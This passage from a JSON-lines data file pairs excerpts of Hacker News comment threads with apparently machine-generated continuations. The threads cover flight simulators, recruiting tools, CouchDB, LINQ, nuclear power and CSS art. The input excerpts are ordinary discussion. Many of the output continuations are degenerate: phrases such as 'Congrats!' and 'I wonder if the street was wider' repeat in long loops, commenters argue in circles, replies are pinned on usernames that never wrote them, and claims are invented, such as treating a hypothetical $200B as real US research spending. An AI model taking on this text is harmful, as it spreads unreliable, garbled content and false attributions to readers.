wonder how realistic the operations of the virtual airlines are. In the\ngame, do you get to have local police come on your plane and beat up your\npassengers and drag them off before you take off on your flight route?\"\n\n~~~\nsandworm101\nFS is pilot-focused. They dont simulate the exciting world of ticket counters\nand baggage limits. But there is probably a german sim that, from the makers\nof AirportSimulator (see nerdcubed's coverage of that series). German\nsimulators are a strange market niche.\n\n~~~\nselimthegrim\nI remember googling furiously once I discovered Euro Truck Simulator to\nconfirm it wasn't some Steam Greenlight prank...\n\n~~~\nyongjik\nI heard that game has some cult followers in Korea. Some gamers buy steering\nwheels and gears, put on the monitor a sticker saying \"Freight Union\", wear\nfingerless gloves and a red Freight Union vest, and start driving while\nlistening to radio...\n\n------\nsqueaky-clean\nThis reminds me of a story I read in PCGamer long ago (I tried searching for\nthe article, but I don't even know if it was published online). The author got\ninto their seat for a flight, next to someone with a gaming laptop running a\nflight simulator. They chatted about video games for a while, and the gamer\nexplains that they like to set up the simulator to play the same flight they\nare currently taking, and try to take off and land at the same time.\n\nAbout"} +{"output_text": "I'm not a doctor, but I think it's a good idea to keep your\nblood circulating)\n\nSecond, it's a lot easier to work standing, if you have a laptop.\n\nThird, it's a lot easier to work standing, if you have a laptop, if you have\na good chair.\n\nFourth, it's a lot easier to work standing, if you have a laptop, if you have\na good chair, if you have a good desk", "input_text": " it on about 20 trees, of all shapes I could find here in Vancouver,\nBC, coding on my laptop for 8 hours a day. No noticeable damage with a naked\neye, using the prototype. The bark doesn't get damaged, because once\neverything is tightened, there's no movement or wiggling, only a compression.\nMost bark can handle the compression. So even if you bump into the tree,\nnothing's going to happen.\n\nThe manufactured product will probably have some padding on the lugs, it may\nnot be wood lugs, but maybe rubber lugs. Or metal or wood lugs, with rubber\npadding glued on.\n\nThe way I set in in the prototype, is when the bolt of the lug rotates, the\nlug also rotates. So I have to set it right, and then just use it at that\nposition. For the manufactured product, I'd like to set it, then tighten the\nbelt a little, then allow to screw the lug bolt so that the mounting bar would\nbecome vertical. This means that the lug must have a bearing, that would make\nthe rotating bolt (or shaft) rotate freely, without moving anything on the\nbark, so that the bark doesn't get damaged.\n\n------\nbryanrasmussen\nIt looks too complicated for me, it would probably just make me think I will\nsit on the ground with my laptop. However I feel the concept could be made to\nappeal to someone as lazy as me with some simplification - I'm thinking if\neverything could be focused on the strap.\n\n~~~\nboris1\nFirst, it gets cold to work sitting if it's Spring time (15 degrees Celcius).\nIs this case, only working standing keeps you warm enough, since the blood is\ncirculating. ("} +{"output_text": " the majority of them)\nwho are not white males.\n\n~~~\njessaustin\n_But if your company is taking on the diversity challenge then yes, start with\nthe fact that there is 7+ billion people, (or at least the majority of them)\nwho are not white males._\n\nI'm not sure what you mean by \"start with the fact that there are 7+ billion\npeople, (or at least the majority of them) who are not", "input_text": " doesn't make it a\ngood idea.\n\n> _And perhaps there aren 't enough resources to improve said process and\n> handle a greater volume of potentially unqualified applicants._\n\nThat's how you handle a great volume of applicants - you look for indicators\nof skill. None of them are necessary or sufficient; they just increase the\nlikelihood that this will be a good hire a little bit. Giving every single\nperson who is able to use the \"resume\" template in Microsoft Word an in-person\ninterview would catch those false negatives you're missing, but it would be\nridiculously inefficient.\n\nOr am I to assume that when you want to hire a plumber you canvass your\nneighborhood door-to-door so you dont miss out on someone who might be\nqualified but just drummed out of the plumbing industry for institutional\nreasons?\n\nAlthough I do like how you dismissed points 2-8 with a simple handwaving of\n\"elite males are more likely to score higher on these points, so they're no\ngood.\"\n\nNot to mention the fact that that argument does virtually nothing to\ncontracdict point #8. If youre someone who truly believes they're a Great\nProgrammer Who's Not Being Given a Chance Due To White Male Supremacy, a\ngithub profile is the greatest arrow in your quiver that you could possibly\ndream of.\n\n~~~\nthelock85\nI'm not following most of your points here (standalone maybe but not with\nrespect to my comments). No one is saying you don't need to ID signals in the\nnoise or define quality indicators of skill.\n\nBut if your company is taking on the diversity challenge then yes, start with\nthe fact that there is 7+ billion people, (or at least"} +{"output_text": " a lot of luck, but he also had a lot of hustle.\n\n~~~\nhiou\nI agree with you, but I think the title is a bit misleading. I think the\narticle is a great read and I think it's a great story.\n\n------\njoshstrange\nI'm not sure if I'm reading this right but I'm not sure how I feel about this\nat all. I'm not sure if I'm reading this right but I", "input_text": "iehackers.com/businesses/humanpredictions?utm_source=hacker-news&utm_campaign=interview-promotion&utm_medium=social\n======\nhiou\nHe basically gets a spot in the family business which he uses as a launchpad\nto creating a SaaS product. Come on, this title is so far off from reality. No\nproblem with what he did and it sounds like he does a great job, but let's at\nleast keep the titles from indiehackers somewhat accurate. It gives a lot of\npeople thinking about starting their own company really unrealistic\nexpectations.\n\n~~~\ngregorymichael\nAs someone who has known Elliot from the Chicago scene for the last ~10 years,\nI have to push back on this.\n\nElliot hustled his ass off doing his own thing, working recruiting for\nGroupon, working as one of the founding employees of DevBootcamp Chicago to\nget graduates gigs (and doing so with great success), and then back to his own\nrecruiting before launching Human Predictions based on feedback from his\nclients and experiences.\n\nHe became, at least in my circles, the most trusted recruiter amongst\ndevelopers. Many thought of him as more of an \"agent\" than a recruiter.\nSomeone you could grab coffee with every six months who'd keep you in mind if\nthe perfect gig came up. I referred friends to him all the time without\nconcern that he'd spam them, hard-sell them, put them in whatever spot that\nwas open just to reap the commission. He's always had the developer's interest\nin mind first and foremost.\n\nI understand the sentiment that these stories can sometimes over-simplify the\njourney. Yes, he had"} +{"output_text": " as they could.\n\n~~~\n_cs2017_\n> * Loss of potential earnings as American companies are locked out of Chinese\n> markets * Loss of actual earnings as American/global consumers switch to\n> Chinese companies (eg huawei) that are accused of unfair business practices\n> or receiving unfair government subsidies.\n\nI don't think that's the case. I think the Chinese government is just\nprotecting its own companies from foreign competition.\n\n~~~\nwest", "input_text": "secuted by the government? Did they want to go against the hackers both\ncriminally and civilly?\n\n~~~\nsubcosmos\nWhy is it that intelligence agencies are still conducting their activities\nduring their countries working hours?\n\nYou'd figure it would be easier to find nocturnal neckbeards anyways.\n\n~~~\nscintill76\nIn this case, the timezones probably line up to make Chinese working hours the\nbest time to do this work.\n\n------\n_cs2017_\n> unfair business practices originating from China are costing the American\n> economy more than $57 billion a year, White House officials believe\n\nAnd yet the companies who supposedly lose that money don't care.\n\nIt reminds me a little of the $200-250B \"lost\" to piracy by the movie and\nmusic industry ([http://freakonomics.com/2012/01/12/how-much-do-music-and-\nmov...](http://freakonomics.com/2012/01/12/how-much-do-music-and-movie-piracy-\nreally-hurt-the-u-s-economy/)). To be more precise it reminds me of how\neveryone likes to create large impressive numbers that prove their point or\nsupport their agenda.\n\n~~~\nwestiseast\nI suspect the amount is a mix of things:\n\n* Investment in IP that then gets stolen. * Loss of potential earnings as American companies are locked out of Chinese markets * Loss of actual earnings as American/global consumers switch to Chinese companies (eg huawei) that are accused of unfair business practices or receiving unfair government subsidies.\n\nSome companies \u201cdon\u2019t care\u201d because they aren\u2019t actually losing money, they\u2019re\njust not making as much"} +{"output_text": " ensue.\n\n~~~\nivankirigin\nI'm not sure what you mean. The US spends $200B per year on climate change\nresearch.\n\nThe debate is about the best way to spend that money.\n\n~~~\nryanwaggoner\nI'm not sure what you mean. The debate is about the best way to spend that\nmoney.\n\nThe debate is about whether or not we should spend $200B per year on climate\nchange research", "input_text": " 1998.\n\nSo no, there continues to be _no evidence that vaccines cause autism_. And\npeople still remain unconvinced until they hear something stronger.\n\n~~~\nivankirigin\nYou're obviously correct. You are also 3 sigma out in your understanding of\nthe issue.\n\nThe response to bad science should be in the same dumbed down language that\nthe bad science used.\n\n~~~\ndschobel\nI disagree. You can see the repercussions from that in things like the Global\nWarming stories where everyone at HN collectively cringes when terms like\n\"scientific consensus\" are tossed about.\n\nThere's no short-cut to good science and dumbing it down fundamentally\ndiminishes it. Honest people still care about facts and science.\n\n~~~\nivankirigin\nGlobal warming is a perfect example. There are way too many people that point\nto a cold day and say: see?!\n\nThe message should be: there are huge changes going on right now, on a huge\nscale, beyond today's temperature.\n\nThe debate is also often linked to a proposed solution, which is a big\nmistake. Cap & Trade or a carbon tax are two of dozens of potential solutions.\nThatSmugFucksPrius\u2122 is not a solution, but way too often involved in the\nmessaging.\n\nDo you think there would be a big global warming debate if the proposed\nresponse was $200B a year in research? I don't. That is chump change with a\nbunch of positive externalities.\n\n~~~\nryanwaggoner\nSorry, but if the US decided to spend $200B per year on climate change\nresearch, which is decidedly not chump change, \"debate\" hardly describes the\nfuror that would"} +{"output_text": "us_law_en.php\n\n------\njoshu\nCongrats!\n\n------\njoshu\nCongrats!\n\n------\njoshu\nCongrats!\n\n------\njoshu\nCongrats!\n\n------\njoshu\nCongrats!\n\n------\njoshu\nCongrats!\n\n------\njoshu\nCongrats!\n\n------\njoshu\nCong", "input_text": "_rajasek\nNot to nitpick but your about page shows that universitytutor.com was started\nin 2004 but your post shows that you started the site in 2008? Also the\ndashboard shows decreasing timeline which means you are either losing\ncustomers and below the 200 (can't guess the scale) subscribers or there is a\nsimple error somewhere...\n\nWhat are we missing?\n\n~~~\nbarmstrong\nGood point - I actually first registerred and built a site back in 2004 but it\nwas a different business (matching people manually in Houston only). 2008 was\nwhen I switched it over to a directory site that was open to anyone and let\ntutors and students contact each other directly (also rebuilt it in rails).\n\nNot sure what you mean on the graph though - it seems correct to me.\n\n~~~\nsenthil_rajasek\nThe dashboard graph shows just a months worth of data and for some reason I\nthought the timeline was decreasing. Congratulations on your success.\n\n------\ndfischer\nCongratulations. That's a great milestone.\n\n------\nantidaily\nThe site is beautiful. Nice work!!\n\n~~~\nbarmstrong\nI did the programming, but hired this guy to design it:\n\n\nI'd recommend him, he was good and fairly priced. (Found him on 99designs).\n\n------\nqq66\nNice job dude! -Amal\n\n------\nohashi\nCongrats :)\n\n------\ncinimod\nThat's an AWESOME dating service.\n\n \n70,000 Blogs Shut Down by U.S. Law Enforcement - dwynings\nhttp://www.readwriteweb.com/archives/70000_blogs_shut_down_by_"} +{"output_text": ".com, for example.\n\n------\njameshart\nI'm not sure I understand the point of this paper. It seems to be saying that\nthe ability to learn a language is a property of the brain, and that the\nability to learn a language is a property of the brain that is not\nnecessarily related to the ability to learn a language.\n\nI'm not sure I agree with that. I think the ability to learn a language is a\nproperty of the", "input_text": " scientist says \"I can prove these two\npeople have ESP and can pick the same #\". He sits them in two separate rooms\nand has her first pick a number. He goes to the second room and has him pick a\nnumber. 17? No higher. 24? No higher. 52? No lower. 43? Yes exactly!!\n\n\"See, these two people both came up with the same number without any\ncommunication with each other. ESP!\"\n\nIf they want to show this language learning is powerful, demonstrate that once\ntrained it can now be applied to a third language without any new \"adversarial\nfeedback\".\n\nOr it reminds me of the fake \"we can communicate faster than light via quantum\nentanglement\" claims. But then the caveat comes that they can only figure out\nwhat the value of the bit of info they communicated was causally.\n\n~~~\nbenkuhn\nI think you missed something.\n\nPreviously, machine translation required being trained on a bilingual corpus,\nthat is, a corpus of _the same set of sentences_ in eg English and French.\nThese corpora are pretty hard to come by and expensive to produce.\n\nThe paper describes a technique to use two monolingual corpora instead, i.e.\none set of sentences in English and a _different_ set of sentences in French.\nThat's _way_ easier to find.\n\nIt's far from just a definitional trick.\n\n~~~\nJPLeRouzic\n>> These corpora are pretty hard to come by and expensive to produce.\n\nActually there are lot of texts translated by qualified translators in several\nlanguages, for political reasons: EU's commission websites, perhaps some other\ncountries official websites.\n\nYou can have a look at Linguee"} +{"output_text": ".co.uk/programmes/b01n2y8j\n\n------\nInsanity\nI'm working on a project that will allow you to create your own music\nsynthesizers.\n\nI'm currently working on a simple synth that will allow you to create your\nown sounds.\n\nI'm using a simple algorithm that will allow you to create a sound by\ncombining a few simple waveforms.\n\nI'm currently working on a simple GUI that", "input_text": "of devices, buffers and formats. and that's only for one OS. and if you start\ndoing anything non-trivial, making the programs work well in real-time is not\nfor the faint of heart.\n\nif there was a single format supported everywhere, minimum buffer sizes and a\ncommon API for all OSes, it would be a whole another, much more pleasant story\n\n------\nPaulDavisThe1st\n[ Edited/Deleted reply because I missed the fact that this code distributes a\nsingle mono signal across 2 outputs. The terminology for this stuff is never\ntotally clear: some people would call this a mono panner, some would call it a\nstereo panner, some call it a 1in/2out panner ]\n\n~~~\nInsanity\nHey there, yep I'm actually aware of what you're saying. I actually wrote this\nat the bottom of the post:\n\n\"There is actually a flaw with this panning function that we are using.\nHowever it is not apparent to us yet because we can only set a pan for an\nentire audio source\"\n\nI'm working from something simple up to something more complex, but tackling\nit in small parts. Next I'm writing about applying breakpoints where the pan\ncan be set throughout the track and you can notice the power dip - and then\nwe'll work on fixing that. ;-)\n\n~~~\nPaulDavisThe1st\nFor some reason, I just realized that despite your talk about 2 channel WAV\nfiles, this code is actually a 1 input to 2 output panner.\n\nSo I take back what I said about it being a balance control entirely. Sorry\nfor that.\n\n \nCan a city really ban cars from its streets? (2014) - antr\nhttp://www.bbc"} +{"output_text": "?\n\n~~~\njoezydeco\nI'm not sure if you're being sarcastic or not.\n\n~~~\nDerbasti\nI am.\n\n------\njoezydeco\nI'm not worried about Japan's nuclear reactors.\n\n------\njoezydeco\nI'm not worried about Japan's nuclear reactors.\n\n------\njoezydeco\nI'm not worried about Japan's nuclear reactors.\n\n------\nj", "input_text": " of property?\n\nGiven just a slight increase in illness rate for the sheer number of people\ninvolved can give a hard to detect but significant cost. An insurer will have\nto set aside enough money for the expected amount of payout. What would Warren\nBuffett's premiums be? Some claims will be excluded by the insurer, and the\nrest of the population will probably be called to for economic assistance: how\nmuch will that be? What is the opportunity cost of having half a million\npeople cleaning up the place instead of being productive?\n\nFeel free to peruse the [IAEA report about\nChernobyl]([http://www.iaea.org/Publications/Booklets/Chernobyl/chernoby...](http://www.iaea.org/Publications/Booklets/Chernobyl/chernobyl.pdf)).\nWhat is the total economic cost? Maybe \"hundreds of billions of dollars\"? See\nthe report for estimates.\n\nSo yes, we shouldn't run away from radiation. We should clean it up safely,\nthen come to our senses and stop dispersing any more of it. This technology is\na dead-end for normal energy production.\n\n------\nRatfish\nA'spokesman' has just announced in the last few hours that there are high\ncesium levels in leaking water that is measuring 1Sv per hour. That going to\nbe somewhere in the depths of the plant, but living about as far away from\nthis ad is possible is a comfort to me.\n\n------\nadlep\nI've seen a similar titled article about the Fukoshima plant on HN called:\n\"Why I am not worried about Japan\u2019s nuclear reactors.\"\n\n------\nDerbasti\nHow about all those people dying from cancer"} +{"output_text": "aneous things, and maximize the time I'm spending on\nthings that are important to me.\n\n~~~\njoshu\nI think you're right.\n\nI think the problem is that the economy is not a good model for how to\norganize human beings.\n\n------\njoshu\nI think the problem is that the economy is not a good model for how to organize\nhuman beings.\n\n------\njoshu\nI think the problem is that", "input_text": " even if you are\nlucky enough to care about the big picture, you probably don't care about\nimplementing yet another responsive XML cloud-based enterprise SEO keyword. If\nyou are qualified for your job, you mostly have a pretty good idea of the\nsolution to the puzzle, so it's not fun to solve. As Quincy Jones said, \"If\nyou go into the studio to make money, God leaves the room.\"\n\nAnd a lot of us have a hard time adjusting to this once we turn programming\nfrom a hobby into a career (which is how most of us got here). We keep\nworking, thinking we'll somehow recapture how it felt to program when we were\ntinkering with HyperCard on a 1980 Apple, but it never happens because the\nwhole structure of what we're doing has changed.\n\nThere's nothing wrong with you. The problem isn't you, it's the structure that\neconomic leaders to build an economy that forces people to work toward the\neconomic leaders' goals rather than their own goals. To quote Joe The\nBarbarian, \"It's not the picture that's upside down, it's the world.\"\n\nI don't have a good solution to this problem. I love programming when I do it\nfor myself, and I've spent countless hours writing compilers/interpreters\nwithout reaping a dime from it (okay, I guess I've gotten jobs due to people\nbeing impressed by my compilers/interpreters, but the economic payoff is\nnegligible compared to the effort). The best I have come up with is to opt out\nof the economy as much as possible, and find ways to work fewer hours while\nmaking enough money to do what I want. The best I can do is minimize the time\nI'm wasting on extr"} +{"output_text": "oving the US from the game would be a disaster for the\nworld.\n\n~~~\njedberg\n> The most important paragraph in this piece is last one, which plugs a $22.8\n> billion bill to support domestic semiconductor manufacturing in the USA and\n> suggests the need for new entrants.\n\nI don't think that's true. The most important paragraph is the first one,\nwhich is about the history of the semiconductor industry.\n\n~~~\nthrow", "input_text": " until 200 words later. However,\nit's once you get past what's sitting in the buffer in your brain that things\ndrastically slow down.\n\nAs a slight aside, not knowing your personal history or the grades you got in\nhigh school, it's quite rare to see someone with a clear and (what appears to\nbe) a natural writing talent coming from a programming background. From what\nI've seen, programming has a propensity to decrease literacy skills. It's\nespecially impressive that it wasn't your standard five-paragraph essay, some\npeople manage to succeed at those and fail at anything a hint more complex.\n\n------\nTheSOB88\nWhat this needs is a chunk model - to be able to see what was written in one\nchunk, from the first insert up to the next delete, then to the next insert,\netc. You'd be able to see more clearly the purpose of every keystroke and\nwouldn't miss the small word changes, while also not having to press \"next\" 60\ntimes to see a sentence unfold.\n\nOh yeah, by the way, cool idea.\n\n \nApple, ARM, and Intel - jonbaer\nhttps://stratechery.com/2020/apple-arm-and-intel/?href=\n======\nthrowawaygh\nThe most important paragraph in this piece is last one, which plugs a $22.8\nbillion bill to support domestic semiconductor manufacturing in the USA and\nsuggests the need for new entrants.\n\nSemiconductor manufacturing is truly one of the few remaining manufacturing\nindustries in which the USA has a competitive advantage (albeit quite eroded\nby TSMC over the past few years).\n\nEspecially with US aviation circling the drain, this is an industry we can't\nafford to lose. Rem"} +{"output_text": " and you\u2019re selling a product that\ndoesn\u2019t work.\n\n~~~\nk2xl\nI'm not selling anything. I'm just trying to make a tool that helps people\nfind jobs.\n\n~~~\n0xmohit\nI'm not sure if you're trying to sell something or not.\n\n~~~\nk2xl\nI'm not trying to sell anything. I'm just trying to make a tool that helps\npeople find jobs.\n\n", "input_text": "\nprofile updates and other signals to tell if a candidate is on the move. We\nalso got to HN frontpage last night for our candidate job portal[2]. If there\nare people who would like to talk about what we've accomplished so far feel\nfree to reach me at s@netin.co\n\n[1] [https://netin.co](https://netin.co) [2]\n[https://netin.co/candidates](https://netin.co/candidates)\n\n------\nphilip1209\nIt's great to hear about your success!\n\nFor discussion's purposes, it's worth pointing out that there is a venture-\nfunded company that is doing the same thing (but with a big data science\nteam):\n[https://www.crunchbase.com/organization/entelo](https://www.crunchbase.com/organization/entelo)\n\n------\niamleppert\nNow just let me come up with a product I can sell to developers that\ncamouflages them to this product by simulating activity on these sites...\n\nI wonder what their next line of business is at this company...selling this\ndata to current employers to see when their employee is about to jump ship?\n\n------\ngizmo\nThis type of data mining of personal information feels kind of icky to me.\n\n------\nk2xl\nI wrote a similar tool for recruiters (only analyzes LinkedIn profiles that\nyou are viewing). Mine is significantly cheaper at $9 per month:\n[https://recap.work](https://recap.work)\n\n~~~\n0xmohit\nYour site redirects (301) from HTTPS to HTTP!\n\n \n\nSo you\u2019re inexperienced, non-technical,"} +{"output_text": "~~~\njoezydeco\nI'm not sure if you're being sarcastic or not, but I'm pretty sure that's the\nsame 8085 that's in the Apple II.\n\n~~~\nlake99\nI'm not sure if you're being sarcastic or not, but I'm pretty sure that's the\nsame 8085 that's in the Apple II.\n\n------\njoezydeco\nI'm not sure if this is a good idea,", "input_text": "elf.com/docs.htm>) and punching it into memory on a hex\nkeyboard (the original had a switch for each bit and 4 push-buttons for load,\nrun, etc).\n\nBy the time I was coding for 6502 and 8088 processors (still in assembly\nlanguage - I was after all an embedded engineer), I had assemblers and an\n80-column by 43-line text editor.\n\nAren't we spoiled today? I wouldn't want to go back, but I've also found that\nthe low-level experience with machine code is something many \"newer engineers\"\nare missing... it's an appreciation of the hardware that you can't get any\nother way.\n\n~~~\nzerohp\nComputer Engineering still offers this experience. It's the main reason I\npicked this major when I returned to school after many years as a programmer.\nMost of the graduates from here go on to software development. The low level\nexperience makes them well suited to work on embedded systems, device drivers,\nand operating systems.\n\n------\nlake99\nI did my bachelors (in India) in the mid-90s, and we all coded this way in our\n8085 labs. Many of us even did final-year projects on similar-looking 8085\nkits.\n\nGiven that such kits are still sold [1] in India, I guess quite a few\nengineering students still learn to code like that.\n\nMy bosses, though, had all worked on punched cards.\n\n[1]: [http://www.dynalogindia.com/products/education-\nsolutions/808...](http://www.dynalogindia.com/products/education-\nsolutions/8085-microprocessor-262.html)\n\n"} +{"output_text": " with the system.\n\nI don't think he's a psychopath, but I do think he's a sociopath. He's\nclearly a sociopath who's been able to get away with it for a long time.\n\n~~~\njbooth\nI don't think he's a sociopath. I think he's a narcissist.\n\n~~~\nmichaelochurch\nI don't think he's a narcissist. I think he's a sociopath.", "input_text": " and prestigious employment (i.e. the Entrepreneur In\nResidence)?\n\nDo you think a sane SV VC should employ a toxic person that publicly calls\nZuckerberg a psychopat?\n\nSo far he filed a bunch of frivolous lawsuits against anyone who came into\ncontact with him and looked at him funny. He always represents himself, so\nthere's no cost for him but it hurts the defendants because they have to hire\nand pay for real lawyers.\n\nHis previous lawsuit has been dismissed by the judge\n\n\nHis other lawsuit ()\nis in shambles on procedural grounds because his California lawyer wants to\nwithdraw from the case which would leave Greenspan as the only lawyer and,\njust like in this case, he sues on behalf of his company and a company can't\nrepresent itself, so his has to have an outside counsel to proceed.\n\n~~~\nmichaelochurch\n_What logic compels you to conclude that if you get viciously and frivolously\nsued by someone and publicly badmouthed by him (on his weblog) you should give\nhim a lucrative and prestigious employment (i.e. the Entrepreneur In\nResidence)?_\n\nLet's start with the fact that his startup (lawsuit) actually does more good\nfor society than 95% of these VC-istan social media companies (that are just\nexcuses to waste young peoples' careers). If nothing else, he's drawing\nattention to the \"we'll fund your competitors if you don't play our way\"\naspect of VC-istan, pointing out the problems"} +{"output_text": "'s a\nservice, it's not really a \"product\" in the traditional sense.\n\n~~~\njoshu\nI think the argument is that the service is a product, and the product is\ncopyrighted.\n\n~~~\nbrador\nI think you're right. I was thinking of the \"product\" as the content, not the\nservice.\n\n------\njoshu\nI think the argument is that the service is a product, and the product is", "input_text": " copyright violations of\ninformation you have copyright on? Fine. You want to sell something licensed\nunder CC-By-SA? Fine. But you better be ready to comply to the license and\nallow whoever you give those works to the right to copy, sell and modify those\nworks. I highly doubt Pinterest is prepared for this, and their TOS _is_\noverreaching.\n\n------\nmaqr\nMaybe all the buzz about Pinterest is because so many people think that\nfinding an image online makes it publicly redistributable. \"Pinning\" is just\nanother way of sharing.\n\nI get the impression that there's much wider public acceptance of sharing\n(pirating?) pictures than music, movies, or software. I don't have a good\nanswer as to why this might be, but I'd be curious what HN thinks.\n\n~~~\nelithrar\n> I get the impression that there's much wider public acceptance of sharing\n> (pirating?) pictures than music, movies, or software. I don't have a good\n> answer as to why this might be, but I'd be curious what HN thinks.\n\nAnecdotally, it's because photographs and images are seen as \"easier to\nreproduce\" (whether this is true or not is another matter), and therefore\npossibly easier to justify by those doing the sharing.\n\nThat, and there's far less friction to sharing photos/images than video and\nsoftware.\n\n~~~\neurleif\nPerhaps it's also that photos seem less valuable than songs or movies, since\npretty much anyone can take a decent photo? (Decent by the person's own\nstandards, at least; maybe not by a professional photographer's.)\n\n------\nbrador\nCould this argument also apply to sites like Readability? Since it"} +{"output_text": " of being banned.\n\n~~~\ndylan604\nI think that would be a good idea. I don't think it would be a good idea to\nban people from following them. I think it would be a good idea to ban people\nfrom following them if they don't follow back.\n\n------\nmatt_the_bass\nI think the problem is that the influencer is not a brand. They are a person\nwho has a following.\n\nI", "input_text": " marketers analyzing her every move in Business Insider. I\nthink maybe fuck the internet? Just not for the same reason I thought.\n\n------\ncosmodisk\nI looked at her account on Instagram.First of all I'm surprised she's got so\nmany followers,as there's nothing even remotely interesting in her posts.\nThere's no story I'd follow-in fact there's nothing at all. So no surprise\nT-Shirt business was a flop.\n\n------\narkitaip\nEven at a terrible 0.01% conversion rate she would have sold 200 t-shirts.\n0.0018% is a rounding error, the quantity you purchase for QA or for handing\nout at a pr event. Small Twitch streamers with a tenth of her audience sell\nmore t-shirts.\n\n~~~\nMirioron\nI think it has to do with the fact that twitch streamers tend to be very\nengaged with their fans. Especially small twitch streamers. They're kind of\nlike \"rent-a-friend\" except they live based on donations.\n\n~~~\narkitaip\nVery true. Twitch streamers have really discovered a profound truth about what\nit means to be in entertainment.\n\n------\nfloatingatoll\nI\u2019d love to see someone run a perfectly great influencer Instagram where if\nyou can\u2019t verify a purchase within 28 days you are permanently banned from\nfollowing them.\n\nNot because I think this is healthy, but because I think people will complain\nloudly and campaign to have them boycotted for demanding proof of their\n\u201cinfluencer\u201d status resulting in money spend.\n\nI think such a thing would shred the influencer concept to bits, and so all\nthe other influencers would react out of fear"} +{"output_text": " data.\n\n------\njoshu\nI wonder if the street was wider.\n\n~~~\njoshu\nI wonder if the street was wider.\n\n------\njoshu\nI wonder if the street was wider.\n\n------\njoshu\nI wonder if the street was wider.\n\n------\njoshu\nI wonder if the street was wider.\n\n------\njoshu\nI wonder if the street was wider.\n\n", "input_text": ":\n\n\\- No sidewalks or discernible rules of the road\n\n\\- Cycles, cars, trams and horse buggies all mixing it up\n\n\\- People standing around in the middle of the street to pick a ride, or\nstrolling casually straight across heavy traffic\n\n\\- Cars making u-turns right through traffic, or parking everywhere, making\nthe street half as wide as it would have been\n\nOnce I thought about this I couldn't shake the feeling that I was watching\nLahore 2010.\n\n------\nexspiro\nnice! 104 year old google streetview. :)\n\n~~~\njaybol\nI was hoping for some LARP photobombing :)\n\n------\nmortenjorck\nIt's strange to imagine a time when \"oh, look, a motorcar!\" might be uttered\nwith the same sense of technological novelty as \"oh, look, an iPad!\" today.\n\n------\nars\nTo play normally the video needs to be sped up about 40-50%.\n\n~~~\ndmoney\nI think the world was just slower then.\n\n~~~\nars\n:)\n\nCould be, although I don't think gravity was lower. Maybe if the earth was\nturning much faster though......\n\n------\nsabat\nThe blogger notes that Market Street seemed wider than it does today. I\ndisagree; it really looks about the same. Keep in mind that the sidewalk is\nmuch larger now than it appears to be in 1906.\n\n \nChess-playing neural network LC0 beats Stockfish in 100-game match - bonzini\nhttps://tcec.chessdom.com/#\n======\nganeshkrishnan\nIt's really amazing and impressive what LC0 has achieved with almost no money\nand only community pooled training"} +{"output_text": "-mcelwain\nI think you're right. It's a monad, but it's not a monad like the ones in\nHaskell or Scala. It's a monad that's built on top of the existing monad\nlibrary.\n\n------\njames-mcelwain\nI'm really excited about this. I've been working on a project that uses\nLINQ/EF to query a database and I've been looking for a way to", "input_text": " use Roslyn in code, but that's using the C# compiler in process.\n\n~~~\ngpderetta\nThe code->AST is done of course at compile time (there is no reason to delay),\nbut I believe the expression tree itself is processed by linq at runtime. You\ncan build expressions programmatically at runtime as well (and then ask the\nruntime to optmize them to bytecode). I remember doing it years ago, it was\nsurprisingly simple (and very powerful).\n\n~~~\nmythz\nOf course the Expression's AST generated by the C# compiler is analyzed at\nruntime, how else could it be done?\n\n------\nRapzid\nDoes it AST? Time for a TypeORM 2.0; Entity TypeWork?\n\n------\nduxup\nIs there a good high level explanation for what this is for someone not\nalready familiar with LInQer or C#?\n\nI'm googling around and still kinda not sure.\n\n~~~\nnp_tedious\nIt's a bunch of functions that can be performed on an enumerable (array, set,\n, etc) type. Commonly several are changed together.\n\nSelect (aka map)\n\nWhere (aka filter)\n\nSelectMany (aka Flatmap)\n\nAccumulate (aka fold)\n\nFirst (with optional predicate function)\n\nMax\n\nMin\n\nGroupBy\n\nCount\n\nAnd so on. The readme lists them all\n\n~~~\nbmurphy1976\nIt's more than that though. It's also a special monad like syntax that takes\nadvantage of those methods as well as transformation that takes the\ndeclarative form of those methods and converts them into something else ala\nSQL.\n\n~~~\njames"} +{"output_text": "](https://github.com/apache/couchdb-couch/tree/master/src)\n\n~~~\ngtirloni\nI don't know. I'm not a CouchDB dev.\n\n------\njoshu\nI'm not sure I understand the point of this.\n\n~~~\njoshu\nI think it's a joke.\n\n~~~\njoshu\nI think it's a joke.\n\n------\njoshu", "input_text": " is better?\n\n~~~\nrakoo\nValidation functions give you control on writing, but there is no control on\nreading: everybody can read everything. That's more or less by design, couchdb\nwould encourage you to create another db for another set of permissions.\n\nCouchbase's channels allow you to segregate docs with different read (or\nwrite) rights inside the same db.\n\n------\n_Marak_\nCouchDB has not let me down once in over seven years of production usage.\n\nI'm not sure what other software I could say that about.\n\n~~~\nlokedhs\nSame here. The core of our chat application is centred around CouchDB and\nRabbitMQ. Neither of which have ever let us down.\n\nIt can't be a coincidence that both of them are written in Erlang.\n\n------\ncarterschonwald\nI'm pretty confused about where the couchdb repo lives. Can anyone point me to\nit?\n\nOddly:\n[https://github.com/couchbase/couchdb?files=1](https://github.com/couchbase/couchdb?files=1)\nseems to be more like the code than any of the Apache stuff\n\n~~~\ngtirloni\nCouchDB!= Couchbase\n\n[https://github.com/apache?query=couchdb](https://github.com/apache?query=couchdb)\n\n~~~\ncarterschonwald\nNo shit. Now explain to me why the Apache version is split into like 20\ndifferent rebar git repos but has had some core parts untouched for 1-2 years?\n[https://github.com/apache/couchdb-\ncouch/tree/master/src"} +{"output_text": " interesting question would be how to do it with SVG.\n\n~~~\nmelicerte\nI'm not sure if I understand your answer, but I'm interested in knowing how\nyou did it.\n\n~~~\npattle\nI just drew the shapes in CSS and then used the CSS clip-path property to\nclip them to the shape.\n\n------\npattle\nI was wondering why I suddenly had an influx of Twitter followers this\nmorning...\n\nThanks to", "input_text": " to grasp.\n\n \nThe Simpsons in CSS - CoreSet\nhttps://pattle.github.io/simpsons-in-css/\n======\npattle\nI was wondering why I suddenly had an influx of Twitter followers this\nmorning...\n\nThanks to whoever shared this.\n\n~~~\ncmroanirgo\nNicely done. I was following the link to \"How I did it\" and noticed that I got\nSSL cert errors for the site:\n\n[https://www.chrispattle.com/blog/simpsons-in-\ncss/](https://www.chrispattle.com/blog/simpsons-in-css/)\n\nYou're using the cert for octopushr.app... Unfortunately port 80 is also\nclosed, so even the most recent wayback machine wasn't working. Here's a link\nfrom 2016 which goes into your methods, which honestly, are a bit on the\nsparse side (it doesn't detract at all from what you've 